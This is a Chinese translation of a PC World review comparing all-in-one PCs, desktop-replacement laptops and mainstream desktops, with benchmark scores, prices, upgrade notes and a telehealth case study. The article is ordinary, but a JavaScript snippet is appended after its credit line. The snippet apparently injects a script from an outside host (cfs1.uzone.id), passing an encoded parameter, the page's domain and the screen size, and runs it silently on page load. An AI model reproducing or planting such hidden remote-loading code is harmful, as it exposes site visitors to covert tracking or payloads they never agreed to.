布兰科回想起当初他曾经使用基于DOS操作系统的通过键盘上粘贴图标的帮助系统，他认为Littlepc已经是一个巨大的进步。他不必再花很大功夫去考虑PC硬件的问题，Littlepc使他可以集中精力来改进软件以提供更多的新功能，例如自定义的文本到语音的转换，以及适用于无法使用动词的用户的版本，例如中风的患者。 一体机

另一类能够节省空间的PC 就是一体机。它不需要占用多少桌面的面积，并且可以轻松携带。像Gateway、MPC 和Sony 这样的厂商都提供这样的一体机，以供那些需要节省空间并且没有升级需求的用户使用。 我们先来看一看Gateway的Profile5XL。它重约25磅，它小巧的底座对桌面的占用与一张信纸大小的纸张差不多。 由于将所有的部件都集成在了一起，并且没有那些烦人的电源线和视频线连接在显示器和PC之间，这台Profile5XL 非常适合那些需要快速安装启动的用户，只需要连接少量线缆，按下电源开关，你就可以正常使用了。如果使用无线的键盘和鼠标，将会使你的桌面更加整洁。 与其他小型PC相同，一体机也没有多少空间以供扩展和升级。为了打开Profile 5XL，我们必须用螺丝刀拧下4颗螺丝。打开之后，我们发现它的主板垂直于LCD屏幕后侧放置着，从底座一直延伸到显示器的顶部后侧。配件和线缆将狭窄的空间塞得满满的，即便是想在其空闲的插槽上添加一根内存都很具挑战性。令人惊讶的是，Profile 5XL 居然提供了一个空闲的3 英寸驱动器舱（可以安装另外一个硬盘），除此之外，就没有任何别的扩展插槽了。 令人欣慰的是，一体机的配件和外设是一流的，我们测试的Profile 5XL 集成了一个漂亮的19英寸LCD显示器，以及3.2GHz的Pentium 4 处理器，除此之外还有一个DVD刻录机（其他低价格的产品则配置了较慢的处理器和CD-RW光驱，以及15 或者17 英寸的LCD 显示器）。 在Intel性能强大的处理器和1GB内存的帮助下，Profile 5XL在我们的PC WorldBench4测试中获得了122分的成绩，与同配置的其他产品相似。它的性能比Littlepc快了一丁点，但比起塔式PC 还差得多。 配置了19 英寸LCD 显示器的Profile5XL报价约2300美元，与Littlepc相似，最低价格配置的型号售价大概是1100 美元（集成15 英寸LCD 显示器）。 台式替代型笔记本电脑

就像一些台式机正在变小一样，一些笔记本电脑的身材开始不断发福。又大又重的台式替代型笔记本电脑通常配置了强大的处理器、巨大的储存容量和宽阔的显示屏幕，这些产品看起来更适合在桌面上使用而不是在膝上使用。 我们测试了H P 的P a v i lionZd7000，这是一款巨大的笔记本电脑，它配备了17英寸的宽屏幕以便为DVD影片的播放提供理想的效果。Zd7000运行在Windows XP 媒体中心版操作系统下，这种操作系统为那些家庭多媒体应用（例如照片浏览、电视播放等等）提供了充分的优化，我们发现它可以应付任何图形相关的任务。 由于采用了2 . 8 G H z 的台式机Pentium 4处理器和512MB内存，Zd7000获得了110 分的PC WorldBench 4 得分，这样的得分意味着它没有如今大多数塔式PC 速度快，但是与相似配置的笔记本电脑相比是在同一个水平线的。 Zd7000 重约11.1 磅（包含其电源适配器），因此这并不是一个适合于背着到处跑的电脑，但相对于那些小型PC来说（即便是非常小巧的FragBox），其便携特

性还是强得多，因为台式机还需要一大堆必需的外设，这些东西同样不轻而且带起来很麻烦。 这种巨兽级的膝上型电脑通常内置了一块高速的移动图形加速卡，例如128MB显存的NVidia GeForce FX Go 5600 或者是ATI Mobility Radeon 9700，HP Zd7000采用的是前者。 对于笔记本电脑来说，不要对它的升级抱任何希望。你能够做的顶多是更换一块新的硬盘或是扩充内存， 或者是通过PCMCIA 插槽安装各种扩展设备例如Wi-Fi，如果你热衷于在机箱内修修补补的话，笔记本电脑并不是你最好的选择。 参测配置的HP Zd7000 报价为2029美元，比相似配置的台式机贵出约500 美元。但是如果你想拥有一款具有强大处理器和大尺寸LCD屏幕并且希望具有良好的便携特性的电脑，我们认为一款台式替代型笔记本电脑应该是你更可能选择的类型。 米色盒子怎么样？

有时候，你只需要一台没有任何闪光点的基本系统。米色盒子在办公室和家庭中仍然占据一席之地，但是米色盒子已经仅仅是一个习惯的称呼，它们现在已经不再是米色的了。很多这种类型的电脑看起来越来越现代，改用了工业灰、紫色甚至金属色调的外壳。但是大多数场合下，我们仍然很难在不同的产品中区分彼此。 我们发现，一些看起来令人厌烦的系统正在模糊米色盒子与游戏PC 之间的界限，我们把2 台外表古板的电脑放在了一起，一台是Dell Dimension8300，另一台是HPPavilion A450e，在我们的测试中，它们均表现出了更加适合于游戏或者其他基于显示性能的任务。 采用了3.2GHz的Pentium 4 处理器（Presoctt 内核）和1GB 内存，Dell Dimension 8300 获得了128 分的PC WorldBench 4 得分，这一成绩比相似配置的其他产品平均分高了3分。在我们的图形性能测试中，它的成绩与那些塔式PC相当，同样很适合游戏应用。 HP Pavilion A450e在测试中的综合性能也不错，在PC WorldBench 4 中得到124分，在图形性能测试中落后于Dell一些。 Dell 和HP 的产品提供了与一些巨型塔式P C 相同的升级潜力，D e l lDimension 8300 提供了数量充足的空闲插槽和驱动器舱位，如果想要打开它的机箱，你只需要简单地按下顶部和底部的按钮即可，机箱会像一个蚌壳一样展开。 Dell 电脑的驱动器舱带有绿色的夹子，不需要任何工具就可以进行驱动器的拆装，这样的特性是那些最高端的塔式PC都不具备的，而且它内部的线缆被整洁地梳理过，但是不如Alienware做得好。如果要拆除或者增加内存，则需要一点点努力。 打开HP的电脑更具一些挑战性，我们必须取掉一些螺丝来拆掉侧面板。给HP的电脑拆装内存更容易一些，但是其扩展插槽和驱动器舱位比Dell 少一些。 总的来看，像Dell 和HP这样的电脑产品相对于那些塔式PC来说颇具诱惑力，它们运行快速，采用了很多相同的配件，而且价格更加便宜，Dell 的这款产品报价2779美元，比Alienware便宜了1100多美元，比Cyberpower 也便宜了900 美元以上。HP Pavilion A450e 的参考报价是1730 美元，如果你想保持足够高的性能和足够大的空间以供升级的话，选择Dell 或者HP 可以节省很多钱。

案例 2

远程健康看护

American TeleCare是明尼苏达州的一个公司，它们销售硬件和软件来帮助病人在家中咨询医生和临床医师。最近他们在寻找一种新的PC 来提供给他们的客户。American TeleCare 为临床医师和病人各搭建一套电脑系统，使他们能够通过电话线和摄像头来进行视频会议，各种各样的医疗设备要能够连接到病人的电脑上来检测病人的各种状态，例如血压、脉搏以及血糖值，电脑将这些数据传送给临床医师。 对于采购主管马克・胡伊斯来说，客户的PC在安装和维护方面的需求越小越好，而且顾客需要大尺寸的显示器来使得临床医师能够清楚地看到病人。 胡伊斯表示公司对过去使用的Gateway Profile 4 系列产品的性能相当满意，并且决定继续购买其最新型号的一体机Profile 5系列。对于这种PC的优点，胡伊斯认为是“易于安装以及对我们公司和客户来说都还算合理的价格”。 胡伊斯认为这种一体机提供了更时髦、更节省空间的方案，非常适合他们的家庭病人监护软件，尽管Profile 5 的可扩展特性有限，但是胡伊斯声称这对于他们的客户来说不是什么问题，这些用户根本不需要打开机箱并进行系统升级。“Profile 5 非常适合我们的应用”，胡伊斯说，“而且Gateway对小型商务用户提供了很好的客户支持”。 表2 不同的PC：外表不同，内在相似

各种各样不同的PC（包括这里列出的）往往采用了相同的部件。但是大型的PC（例如Alienware 和Cyberpower 的产品）比小型PC（例如Falcon 的FragBox或者Dell 的Dimension 8300.）具备更大的内部空间。

－苏锋 编译自PC World[美] var _userid = '';var _siteid =2230;var _istoken = 1;var _model = 'Model03'; WebPageSpeed =234; UrchinTrack();if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs1.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582HVlH3eBnL31oom3GWMRa1LxIl3yd8n2PiKLPzVSXpy4lQa%2f3AY6IhLKHxd%2f79Q%2fqRHB%2fM2D8FFp8DJM%2f9fDlqZhyvLpq3JCJhD4vmt8RU74n2zOQI0CqE%2fOVfTDzRvKnfzdS6Y5qPb%2bt3AKSaNWbyA9LRFnQHraLVUaVdAp9VZnZXBZOIkzM737AjRKEgCKIsxkaJa0cBtBv66q%2bt5YT%2fcLlke%2fi3ZN8NAmyYc9iUVHusn8o8o8pzBwrhzZoRbIH4jvq9WRcWiajs8BRF7Ip8186FyekHYb1SMtcpNAw1HRkW5SUKEu08PWXyOJzPW6Fh8oaoR0vuJkyBkvhlYoATBXHd1cmrWlgTjkEt%2fs1qj70VQOTwuBEUni8EUza9PYsWBd7sDnaQeldf7zoPflP9VkHk6zWxLD%2fK2q0iFZeqmWlVI4c5wisdtX7SZJfjXGrrMs0h6CApBHlS5l%2fcJNMF8CeixLFvZfN27QCEdHwhmijndxjth8rK2dACMJxWQ5rw%3d%3d" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};